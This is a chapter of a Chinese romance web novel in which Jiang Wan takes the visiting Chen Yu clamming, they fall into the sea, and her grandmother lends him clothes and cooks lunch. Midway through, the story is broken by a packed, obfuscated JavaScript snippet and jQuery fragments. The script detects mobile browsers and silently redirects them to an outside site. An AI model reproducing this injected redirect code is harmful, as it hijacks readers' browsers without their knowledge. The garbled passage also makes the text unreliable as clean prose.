次日,姜挽背着包,在她家附近的公交站等陈屿。昨天陈屿提的那个建议,她后来同意了。
就像陈屿说的,反正他还要在江城待两天,而她也不放心他一个人,何不就干脆带着他逛,这样不仅他没有负担,她也能做兼职。
两全其美的方案,她还没有执拗到非要拒绝的地步。
至于承诺什么的,她已经打破了,既然如此,就让她再任性一回吧。在这有限的时间里,让她和他一起做一场梦,一场能抵她以后漫漫岁月,回想起来不会觉得遗憾的梦。
其实,针对今天要去的地方,姜挽昨天给他提供了好几个选择,市区,郊区,甚至还有江城附近的城市,可都被他拒绝了。他不是说去过了,就是嫌太远,偏偏对姜挽现在住的地方很感兴趣。
一听说她和奶奶现在住的地方在农村,且离海边近,陈屿就更是一发不可收拾,硬说自己想体验乡村生活,甚至连去酒店接他的环节都省了,坚持要自己坐公交过来,体验当地生活。
早上九点半,姜挽准时在公交站等到了陈屿,见他一身黑色套装的酷帅打扮,硬生生从一堆打扮质朴,皮肤黝黑的当地村民里挤出来,那场面,真是怎么看,怎么格格不入。
离近了,姜挽注意到他脸上的红疹好多了,但为了避免被晒伤,今天还是戴了帽子,这是她昨天交代他的。
“一路过来怎么样?还顺利吗?”
陈屿一边整理衣服,一边拍打刚才不知被谁踩了好几脚的鞋,压着脾气:“不错,挺顺利的。”
嘴上说着很顺利,可手上拍打的动作却是一点也不轻松,姜挽没见过他这个样子,有点忍俊不禁:“没事,你要是觉得不舒服,临时想更换地方,也是可以的。反正现在时间还早,也没有其他人,全部行程都可以按照你的意愿。”
最后两下,陈屿拍得格外重:“不换,我今天主要就是来体验生活,感受当地特色的。”
“那行,那我们走吧。”
第一站,先去赶海。之所以把时间选在上午,是因为上午的阳光不是很充足,也不会很晒,而且沿途还可以看到很多美景。
这里不像城南岛那么出名,所以人很少。人少,也就意味着安静。橙红的太阳挂在天边,照得海水有一股波光粼粼的翠色。海风一吹,浮光跃金,宛如一幅画卷。
姜挽走在前面,陈屿则是习惯性地在后面拿着相机各种拍,她一回头,眉眼处落着阳光,衬得眼睛大而明亮,像盛着整片海,陈屿几乎看呆了,趁她不注意,快速拍了一张。
“赶过海吗?”姜挽问。
“没有。”陈屿答。
“那我教你?”
“好。”
他们没带专门的赶海工具,姜挽去旁边扯了两根树枝,做了个简易的。好在袋子是有的,一会儿要是运气好,能遇上好东西,也有地方可以放。
“这个给你,”姜挽把一根品相更好的树枝递给陈屿,主要是末端有个类似三角的形状,“要是遇到螃蟹了,你就这样按下去,”边说,她边演示给他看,“然后你再叫我,我马上就过来抓。”
陈屿有点怀疑:“这,能行吗?”
“能行,你相信我,小时候没有工具我都是这样抓的,有时候还直接上手,你放心吧。”
“好吧。”他虽不理解,但还是选择尊重。
其实带他来赶海,姜挽也有自己的私心,这片海域,她小时候经常来,承载了太多她美好的回忆,忍不住就想借着这个机会和他分享。
就这两天吧,她暗暗在心里给自己定期限,在他回北城之前,就让她再任性一次吧。
海边多礁石,常年经过海水的冲刷,表面十分光滑,所以走起路来要格外小心。也正是因为这海水冲刷的原因,经常会有一些“可爱的小生物”躲在下面。
照着多年的经验,姜挽带着陈屿边走边翻,可不知是因为他们运气不好,还是这片已经被其他人翻过来,一条路走完,也只捡到了几颗海螺,还是那种个头很小的猫眼螺。
没捡到东西,姜挽有些懊恼,还带着点尴尬,毕竟刚才她海口都夸下去了,正打算不服输地再来一遍,突然发现陈屿脚边的那颗岩石下有东西在动,定睛一看,原来是一只梭子蟹。
这可是他们今天遇到的第一只,姜挽简直心花怒放,连忙朝着陈屿打手势:“你先别动,你脚边有螃蟹,你一动它就跑了!”
“哪儿呢?”陈屿根本没看到,且不说他根本没见过这里的螃蟹长什么样,就算见过,在当前这种水流混浊,礁石乱七八糟的情况下,他也不一定能认出来。
但忍不住好奇,悄悄抬了下脚,想换个姿势看看螃蟹到底在哪儿。可螃蟹可比他机灵多了,就是这一个动作便惊动了它,迅速蹬着腿往水里钻。
“哎呀,它要跑了!”见它要跑,姜挽立马拿树枝去按,可无奈螃蟹动作太快,又因为着急,两三下不仅没按住,反而脚下一滑,身体瞬间失去平衡……
眼见着就要跌落水中,危机时刻,背后一双手把她揽进怀里,是陈屿。可惯性太大,又是在这种岩石上,陈屿接住她不过一秒,两人很快便再次跌入水面,只是他在下,她在上,陈屿几乎是用整个身体护住了她。
刹那间,水花四溅,衣服湿了大半,就连脸上都溅了不少水。
姜挽一时间有些没反应过来,还惦记着刚才的那只螃蟹,情急之下,她脱口而出:“都怪你,刚才叫你不要动了,你还是动,不然螃蟹也不会跑。”
吆喝,咋呼,埋怨,她这个样子,基本是完全在和陈屿甩脸子了,和北城时的那个她,完全不一样。
可陈屿心里却柔软得一塌糊涂,一手托着她,另一只手拂开她那被海水打湿,粘在脸上的头发,完全没反驳:“是,怪我,我不该动,我给你道歉。”
他这样,姜挽倒是一瞬间醒了神,意识到自己的骄横,也意识到了他还是个病人:“抱歉,我不是这个意思。”
说着,她就要挣扎着起来,动作太大,陈屿有点撑不住:“你先别动,先等我起来,不然一不小心衣服还得湿。”
姜挽垂下眼睛,没说话了。刚才着急的时候没注意到,这会儿冷静下来才发现,她几乎整个人都在他怀里,身上大部分的重量,也都是靠他的胳膊撑着。
两人离得如此近,肌肤相贴,体温相感,这次就算陈屿不说,她也不敢再动了。
很快,陈屿就从水里站起来,并把她也扶起来站在旁边的岩石上。
“衣服湿了。”姜挽说。
“没事,只有裤子。”陈屿看着她。
“我说的是你。”
陈屿这才朝自己身上看,因为他在下面,又为了撑住她,所以从裤子到上衣,基本大半身全湿了:“不碍事。”
他还惦记着刚才跑掉的那只螃蟹,坚持要给姜挽再抓一只:“既然刚才能看到螃蟹,就说明这里还是能抓到的,我们再看看。”
于是,在他的带领下,两人又沿着海岸线来来回回走了好几遍,可结果仍然是一无所获,只捡到了一根算不上大的海带。
湿湿的衣服黏在身上,再看着袋子里仅有的几颗螺,两人对视看着,刚开始还挺苦恼的,可没想到看着看着竟然不约而同地苦笑了起来。
看来今天是真的不适合赶海。
“你身上的衣服难受吗?”姜挽问。
“挺难受的。”陈屿没瞒她。
姜挽想了想:“你现在回酒店换的话太远了,要不回我家吧,我家离得近,回去让我奶奶帮你找找看有没有合适的,先换上。”
陈屿垂下眼睛看她,那眼底的目光说不清道不明,诧异,惊喜,甚至还带着几分紧张。
姜挽以为他是不愿意,忙开口:“当然,前提只你不嫌弃,你要是觉得不合适……”
“合适,我没觉得不合适,”似乎怕她改变主意,陈屿当即抢白,“只是我今天没什么准备,就这样空手去的话,会不会不太好?要不要买点东西?这附近有超市吗?最好是那种卖人参燕窝的。”
姜挽没明白他的意思,疑惑地看向他。
陈屿还沉浸在自己的世界里:“没有吗?那保健品也行,再不济,牛奶和水果也是要的吧?
到这,姜挽才算理解他的意思,只觉得他这礼节想得也太周到了:“不用麻烦,什么都不用准备,我奶奶人很好的,就当是同学吃饭,她不会介意的。”
“可是……”
“没什么可是的,你再犹豫,一会儿身上的衣服该更难受了。”
到了家,姜奶奶正在忙,见姜挽带了人回来,虽然有些惊讶,但很热情。又听说陈屿是从北城来这里旅游的,而且还是姜挽的同学后,就更挪不开眼了,就想着和他多聊两句,了解了解北城,也多知道点自己孙女在那边生活的情况。
陈屿也和她很投缘,过来的路上,姜挽大概给他介绍了下她奶奶的情况,她爷爷很早就去世了,奶奶目前是一个人生活。
丈夫,儿子都去世了,如今孙女还不在自己身边,陈屿原本还担心老人家会有什么心理创伤,可这么一聊才发现,竟是一位如此乐观热情的老人。
见他们二人聊得投缘,姜挽也不好打断,可她身上的衣服实在难受,瞥一眼陈屿的,比她更湿,应该比她更难受。
“奶奶,”她过去挽姜奶奶的胳膊,“我俩刚才在海边不小心把衣服弄湿了,您能帮忙找一件衣服给他穿吗?”
她这一说,姜奶奶才注意到,上下打量了下陈屿的身高:“小陈,你多高呀?”
“奶奶,我185。”
听他开口,姜挽抬头去看,以前只觉得他高,不知道具体数字。这么一算,185和168,高了快20厘米,难怪站在一起的时候,她经常会觉得有身高压力。
“185,”姜奶奶重复,有点犯难,“有倒是有,我前段时间刚买了一套,打算干活的时候穿,还是新的,没穿过,就是样式和料子……。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448287|185196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她这么一说,姜挽便明白了,农村人经常干活,买衣服一般也都是挑宽松的买,而且男女款也分的没那么清楚,都能穿。只是这样式和布料可就没那么好了。
想想陈屿平时的吃穿用度,姜挽虽不认识牌子,但也能看出来那都是些贵衣服,她也拿不准,转向陈屿:“要不还是算了吧,我带你回酒店换吧。”
“为什么?”陈屿一脸疑惑,好不容易来的,他不想回酒店,“是奶奶有什么不方便的地方吗?”
“不是,”姜挽和他解释,“我奶奶说的衣服你可能没见过,款式和料子都不太好,你平时那么在意这些,我怕你穿不习惯。”
陈屿觉得冤枉:“我什么时候在意这些了?”
姜挽看着他,犹豫了会儿,还是开口:“难道没有吗?”
陈屿无奈,觉得她对自己有误解,转而面向姜奶奶:“奶奶,您别听她说,这里面有误会,我没那么多事儿。您愿意借给我,我就已经很感激了,哪里还有介意的道理。”
他这么说,姜奶奶松一口气:“行,那你在这等着,我去拿。”
衣服拿来,果然如姜奶奶所说,款式老旧,布料也差,像是市场上最低档次的那种粗麻布。
可陈屿却什么都没说,刚拿到手,便立马表示要去换。说来也怪,本来没有任何样式和版型的粗衫麻布,到了他身上,就立马显得不一样了。
虽说衣服的布料变不了,手脚处也有些短,可版型却意外得出彩,莫名透出一股简约随性风。
难道,这就是传说中的衣架子?
连姜奶奶也不得不感叹:“小陈穿上这个衣服别提多帅了,比我们村那些年轻人穿上都要好看。”
陈屿倒是不骄不躁的:“是您眼光好,一样的衣服,您选的就是比他们的好看。”
这句话,可把姜奶奶哄得高兴,当即便说要去做饭,让他们在这里吃午饭。
本来也就到饭点了,姜挽也没推脱,问过陈屿的意见后,便同意了。只不过,她顺嘴叮嘱了一句:“对了,奶奶,他对花生过敏,不能吃花生。”
陈屿一愣,没想到她记得这么清楚,而且还会专门提出来。
姜挽要去厨房帮忙,陈屿也想去,但厨房太小,容不下这么多人,而且他是客,所以姜挽拒绝了。
但陈屿再三要求,她也没办法,于是四周看了看,指了指不远处的那堆木柴:“要不这样,要是你有时间的话,帮忙劈点柴吧,一会儿可能用得上。”
“好。”
一小时后,饭已经做好了,姜挽过来叫陈屿,看见眼前的场景,她被吓了一跳。这么点时间,原本堆在一起的木桩,已经被陈屿劈得差不多了,成品竟堆得有半人高。
“不是吧,这也太夸张了!”
听见声音,陈屿回过头,额角微微淌着汗,衣袖挽起,露出结实的小臂:“怎么了,是不是我弄错了?”
“不是,我是说,你……你太有天赋了,”姜挽好奇,“你以前劈过柴吗?”
“没有,这是第一次。”
“第一次就劈这么好?”
“开始前,我在网上搜了一下教程。”
“好吧。”姜挽感叹,果然,聪明的人学什么都快。
“你看看这些够吗?要是不够的话,我一会儿再劈点。”
“够了,够了。”简直就是太多了,要是让她奶奶知道,她安排陈屿劈了这么久的柴,还不得批评她啊。
她卸下他手里的斧子,放在地上:“走,先去吃饭。”
午饭还是当地的特色菜,少不了的海鲜和那道最出名的椰子鸡,基本算是他们这里待客的最高规格了,当然还有他们上午从海边捡回来的那根海带,和排骨一起,炖了一锅海带排骨汤。
期间,姜奶奶吃的不多,一直给他和姜挽夹菜,在得知陈屿马上就要回北城之后,还觉得很可惜,一再强调以后有机会要再来玩。
陈屿明白,他和姜奶奶萍水相逢,素昧平生,她能这么照顾他,除了因为她本身就是一个很好的人之外,还有很大一部分原因,是因为她在向他释放善意。
她在用她的方式,释放她最大的善意,而目的,无非就是希望陈屿在北城时能多照顾姜挽一点。
这是一个老人家,最朴实,也是最深层的心愿。
而这些,就算她不说,陈屿也会做的。
小锅煮着,烟气升着,在这缭绕的情谊里,陈屿轻轻开口:“您放心,在北城,我一定尽力照顾姜挽。”
这话,乍听起来没毛病,姜奶奶也很高兴,可听在姜挽的耳朵里,就是另一种感觉了。
他们现在的这段时光,本来就是镜花水月,梦幻泡影,是没办法长久的。
她清楚地知道,一回到北城,一切就都会变。所以,现在越美好,以后只会越痛苦。
她垂下眼睫,喝一口热热的排骨汤,眼睛和鼻腔被着热气熏的湿润,或许,也可能是其他的原因吧。